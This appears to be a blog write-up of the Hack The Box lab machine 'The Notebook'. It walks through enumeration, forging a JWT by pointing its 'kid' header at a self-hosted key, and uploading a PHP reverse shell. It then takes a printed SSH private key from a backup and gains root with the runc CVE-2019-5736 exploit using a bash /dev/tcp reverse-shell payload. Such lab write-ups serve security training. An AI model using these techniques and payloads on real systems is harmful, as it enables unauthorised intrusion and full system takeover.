← Home

Hack The Box : The Notebook

15 May, 2021

Beginning with an nmap scan

$ sudo nmap -A -p 1-20000 10.10.10.230
[sudo] password for kali: 
Starting Nmap 7.91 ( https://nmap.org ) 
Nmap scan report for 10.10.10.230
Host is up (0.15s latency).
Not shown: 19997 closed ports
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
|   256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_  256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp    open     http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=5/3%OT=22%CT=1%CU=35287%PV=Y%DS=2%DC=T%G=Y%TM=608F9D5E
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=102%GCD=1%ISR=105%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3
OS:=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=FE88%W2=F
OS:E88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 110/tcp)
HOP RTT       ADDRESS
1   153.62 ms 10.10.14.1
2   154.08 ms 10.10.10.230

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 118.72 seconds

gobuster showed an admin path

$ ./gobuster dir -u http://10.10.10.230 -w wordlists/common.txt -x php   
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.230
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2021/05/08 03:30:15 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 403) [Size: 9]
/login                (Status: 200) [Size: 1250]
/logout               (Status: 302) [Size: 209] [--> http://10.10.10.230/]
/register             (Status: 200) [Size: 1422]

So I created a user on this notes website, and started checking out. The auth cookie is a JWT

Users are identified using their UUID and going to the notebook at /notes actually goes to /5a9e162c-0656-416a-972a-267a7be0a06b/notes. Each note seems to be identified using an integer so for example when I added a note, the path to view it was /5a9e162c-0656-416a-972a-267a7be0a06b/notes/9. I tried a few template injection payloads in the notes content but it didn't seem to work, why would it the notes weren't using templates of any kind.

Focussing on the JWT, an interesting field in the header is the kid. According to the JWT specification:

The "kid" (key ID) Header Parameter is a hint indicating which key was used to secure the JWS. This parameter allows originators to explicitly signal a change of key to recipients. The structure of the "kid" value is unspecified. Its value MUST be a case-sensitive string. Use of this Header Parameter is OPTIONAL.

Right, so given that right now this value is a URL, implies that the backend is able to fetch a private key remotely. So I could create a JWT with a kid that points to a private key residing on my machine, and of course sign it with the same key.

# Generate private key
$ openssl genrsa -out private-key.pem 3072
Generating RSA private key, 3072 bit long modulus (2 primes)
................................++++
.............................................................................................................................................................++++
e is 65537 (0x010001)

# Generate public key
$ openssl rsa -in private-key.pem -pubout -out public-key.pem
writing RSA key

I generated the JWT using pyjwt, notice that admin_cap is set to 1 to indicate admin priviliges

>>> jwt.encode({"username":"admn","email":"admn@admin.com","admin_cap":1}, private_key, algorithm="RS256", headers={"kid":"http://10.10.14.17:8000/private-key.pem"}) 
'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNC4xNzo4MDAwL3ByaXZhdGUta2V5LnBlbSJ9.eyJ1c2VybmFtZSI6ImFkbW4iLCJlbWFpbCI6ImFkbW5AYWRtaW4uY29tIiwiYWRtaW5fY2FwIjoxfQ.aEF5iDtp4BZfgF4y1It6-HJDpOM6w72OUnqjLmaFxtO_m1yX8cPHqzyZsU_dRqyqxQiKfxtcpI2Eb45YSoGcXhVz1ho3r5z_WE_ut_O84FkaRYGbAiPvBvg-o2PPq85iCUKPEEGxvYkSsOsDNzUhHMHjBxjjIT8F1Ig5EDWwoVf80g9Znj8MIX48-H0fmNWTh6JpYChzna9Fe6BCqCNSbFG83y0o9lGgqVRW9dKpa09IBRfwcqySv2Sc-D1ToqJSr0VL9QkbH35zGWMzNKiJtLbEEiM4Qu9BIFs-OGC6azM-rSMtQXL7Qm9v8zSB90ykhQTEvi0YEiJvrq084M6ZjxNOqkVBRcb9ZOljNX8OhDUD9tNniwnqISk6fOcJ-nvrAwC-VDZkpoaCZy62RtTwJNlB_wP0bn3tP8wvq3LobpTOyXhysyhHwLbbVrq0dpeu0C5wYiWybDSN3nn2mH7RUAKJAs6IINuCP3VTVx6z0hTs4nZ5MWQ5hV5Kkx7_U7gq'

Now an "Admin Panel" option was visible

Viewing the "admin" notes, I found this

So there is a way to execute PHP files, interesting... Found another note that could potentially be used later

Under the admin homepage, an option to upload files was available

The page itself seemed to allow upload of PHP files

And so after uploading the standard PHP reverse shell, I got a low privileged shell

$ nc -vlnp 4444                  
listening on [any] 4444 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.230] 56192
Linux thenotebook 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 14:37:21 up 1 day,  6:01,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ pwd
/
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
noah:x:1000:1000:Noah:/home/noah:/bin/bash

User

Browsing around I found what looked like a backup of a home directory inside /var/backups. When I viewed the file using zcat I found noah's SSH private key among other files

www-data@thenotebook:/var/backups$ pwd
pwd
/var/backups
www-data@thenotebook:/var/backups$ ls -ltrha
ls -ltrha
total 696K
-rw-r--r--  1 root root    437 Feb 12 06:17 dpkg.diversions.0
-rw-------  1 root root   1.6K Feb 12 06:24 passwd.bak
-rw-r--r--  1 root root   3.6K Feb 12 06:52 apt.extended_states.2.gz
drwxr-xr-x 14 root root   4.0K Feb 12 06:52 ..
-rw-r--r--  1 root root    172 Feb 12 06:52 dpkg.statoverride.0
-rw-------  1 root shadow 1.0K Feb 12 07:33 shadow.bak
-rw-r--r--  1 root root   4.3K Feb 17 09:02 home.tar.gz
-rw-------  1 root root    693 Feb 17 13:18 group.bak
-rw-------  1 root shadow  575 Feb 17 13:18 gshadow.bak
-rw-r--r--  1 root root   3.6K Feb 23 08:58 apt.extended_states.1.gz
-rw-r--r--  1 root root    33K Feb 24 08:53 apt.extended_states.0
-rw-r--r--  1 root root   559K Feb 24 08:53 dpkg.status.0
-rw-r--r--  1 root root    50K May  8 06:25 alternatives.tar.0
drwxr-xr-x  2 root root   4.0K May  8 06:26 .
www-data@thenotebook:/var/backups$ zcat home.tar.gz
home/noah/.ssh/0000700000175000017500000000000014013155377012236 5ustar  noahnoahhome/noah/.ssh/id_rsa0000600000175000017500000000321714013155336013422 0ustar  noahnoah-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAyqucvz6P/EEQbdf8cA44GkEjCc3QnAyssED3qq9Pz1LxEN04
HbhhDfFxK+EDWK4ykk0g5MvBQckcxAs31mNnu+UClYLMb4YXGvriwCrtrHo/ulwT
rLymqVzxjEbLUkIgjZNW49ABwi2pDfzoXnij9JK8s3ijIo+w/0RqHzAfgS3Y7t+b
HVo4kvIHT0IXveAivxez3UpiulFkaQ4zk37rfHO3wuTWsyZ0vmL7gr3fQRBndrUD
v4k2zwetxYNt0hjdLDyA+KGWFFeW7ey9ynrMKW2ic2vBucEAUUe+mb0EazO2inhX
rTAQEgTrbO7jNoZEpf4MDRt7DTQ7dRz+k8HG4wIDAQABAoIBAQDIa0b51Ht84DbH
+UQY5+bRB8MHifGWr+4B6m1A7FcHViUwISPCODg6Gp5o3v55LuKxzPYPa/M0BBaf
Q9y29Nx7ce/JPGzAiKDGvH2JvaoF22qz9yQ5uOEzMMdpigS81snsV10gse1bQd4h
CA4ehjzUultDO7RPlDtbZCNxrhwpmBMjCjQna0R2TqPjEs4b7DT1Grs9O7d7pyNM
Um/rxjBx7AcbP+P7LBqLrnk7kCXeZXbi15Lc9uDUS2c3INeRPmbFl5d7OdlTbXce
YwHVJckFXyeVP6Qziu3yA3p6d+fhFCzWU3uzUKBL0GeJSARxISsvVRzXlHRBGU9V
AuyJ2O4JAoGBAO67RmkGsIAIww/DJ7fFRRK91dvQdeaFSmA7Xf5rhWFymZ/spj2/
rWuuxIS2AXp6pmk36GEpUN1Ea+jvkw/NaMPfGpIl50dO60I0B4FtJbood2gApfG9
0uPb7a+Yzbj10D3U6AnDi0tRtFwnnyfRevS+KEFVXHTLPTPGjRRQ41OdAoGBANlU
kn7eFJ04BYmzcWbupXaped7QEfshGMu34/HWl0/ejKXgVkLsGgSB5v3aOlP6KqEE
vk4wAFKj1i40pEAp0ZNawD5TsDSHoAsIxRnjRM+pZ2bjku0GNzCAU82/rJSnRA+X
i7zrFYhfaKldu4fNYgHKgDBx8X/DeD0vLellpLx/AoGBANoh0CIi9J7oYqNCZEYs
QALx5jilbzUk0WLAnA/eWs9BkVFpQDTnsSPVWscQLqWk7+zwIqq0v6iN3jPGxA8K
VxGyB2tGqt6jI58oPztpabGBTCmBfh82nT2KNNHfwwmfwZjdsu9I9zvo+e3CXlBZ
vglmvw2DW6l0EwX+A+ZuSmiZAoGAb2mgtDMrRDHc/Oul3gvHfV6CYIwwO5qK+Jyr
2WWWKla/qaWo8yPQbrEddtOyBS0BP4yL9s86yyK8gPFxpocJrk3esdT7RuKkVCPJ
z2yn8QE6Rg+yWZpPHqkazSZO1eItzQR2mYG2hzPKFtE7evH6JUrnjm5LTKEreco+
8iCuZAcCgYEA1fhcJzNwEUb2EOV/AI23rYpViF6SiDTfJrtV6ZCLTuKKhdvuqkKr
JjwmBxv0VN6MDmJ4OhYo1ZR6WiTMYq6kFGCmSCATPl4wbGmwb0ZHb0WBSbj5ErQ+
Uh6he5GM5rTstMjtGN+OQ0Z8UZ6c0HBM0ulkBT9IUIUEdLFntA4oAVQ=
-----END RSA PRIVATE KEY-----

Using the private key I was able to login as noah and grab the user flag!

noah@thenotebook:~$ whoami
noah
noah@thenotebook:~$ id
uid=1000(noah) gid=1000(noah) groups=1000(noah)
noah@thenotebook:~$ cat user.txt 
5928c486621641dc216133550a5615e6

Root

noah is able to run docker as sudo

noah@thenotebook:~$ sudo -l
Matching Defaults entries for noah on thenotebook:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User noah may run the following commands on thenotebook:
    (ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*

When I ran linpeas, it mentioned the presence of runc too. After a lot of searching around the internet, I was able to find an exploit and its PoC: https://github.com/Frichetten/CVE-2019-5736-PoC. Given this exploit, the aim was to modify the payload command to establish a reverse shell that would end up having root privilege.

After trying out a number of commands, this was the one that finally worked for me

var payload = "#!/bin/bash \n bash -i >& /dev/tcp/10.10.10.230/4242 0>&1"

So I compiled the go file and transferred it to the container.

root@2ae28d3a38a3:/opt# chmod +x main
root@2ae28d3a38a3:/opt# ./main
[+] Overwritten /bin/sh successfully
[+] Found the PID: 81
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc0000aaa80}

On the machine I ran

noah@thenotebook:/tmp$ sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh
No help topic for '/bin/sh'

And in a separate tab I ran the listener and got the reverse shell!

noah@thenotebook:~$ nc -lvnp 4242
Listening on [0.0.0.0] (family 0, port 4242)
Connection from 10.10.10.230 35548 received!
bash: cannot set terminal process group (30419): Inappropriate ioctl for device
bash: no job control in this shell
root@thenotebook:/# cd root
cd root
root@thenotebook:/root# ls
ls
cleanup.sh
docker-runc
reset.sh
root.txt
start.sh
root@thenotebook:/root# cat root.txt
cat root.txt
34d5f47b692799b1b25e11831cbc14bc

I don't know if I was doing something wrong, if the exploit isn't consistent or if the runc binary would keep getting overwritten periodically, but it took me a number of tries to actually get a reverse shell.